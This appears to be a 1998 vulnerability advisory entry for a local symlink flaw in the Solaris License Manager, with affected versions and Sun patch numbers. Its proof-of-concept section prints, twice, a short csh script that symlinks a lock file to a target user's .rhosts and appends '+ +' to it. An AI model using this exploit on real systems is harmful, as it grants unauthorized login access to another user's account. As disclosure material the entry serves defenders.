Solaris License Manager Vulnerability
BID:461
Info
Solaris License Manager Vulnerability
| Bugtraq ID: | 461 |
| Class: | Origin Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Oct 21 1998 12:00AM |
| Updated: | Oct 21 1998 12:00AM |
| Credit: | First posted to BugTraq by Joel Eriksson <[email protected]> on October 21, 1998. |
| Vulnerable: |
Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 Sun Solaris 2.6_x86 Sun Solaris 2.6 |
| Not Vulnerable: | |
Discussion
Exploit / POC
Solaris License Manager Vulnerability
------
#!/bin/csh -f
# Change target user name before running
# [email protected] 10/98
rm /tmp/locksuntechd
ln -s ~targetuser/.rhosts /tmp/locksuntechd
exit
------
then wait a min and cat + + >> ~targetuser/.rhosts
------
#!/bin/csh -f
# Change target user name before running
# [email protected] 10/98
rm /tmp/locksuntechd
ln -s ~targetuser/.rhosts /tmp/locksuntechd
exit
------
then wait a min and cat + + >> ~targetuser/.rhosts
Solution / Fix
Solaris License Manager Vulnerability
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 2.6
Sun Solaris 2.6_x86
Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 2.6
-
Sun 104217-01
sparc
-
Sun 104829-01
sparc
http://sunsolve.sun.com/search/document.do?assetkey=1-21-104829-01-1
Sun Solaris 2.6_x86
-
Sun 104830-01
x86
http://sunsolve.sun.com/search/document.do?assetkey=1-21-104830-01-1
Sun Solaris 2.5.1 _x86
-
Sun 104830-01
x86
http://sunsolve.sun.com/search/document.do?assetkey=1-21-104830-01-1
Sun Solaris 2.5.1
-
Sun 104217-01
sparc
-
Sun 104829-01
sparc
http://sunsolve.sun.com/search/document.do?assetkey=1-21-104829-01-1
References
Solaris License Manager Vulnerability
References:
References: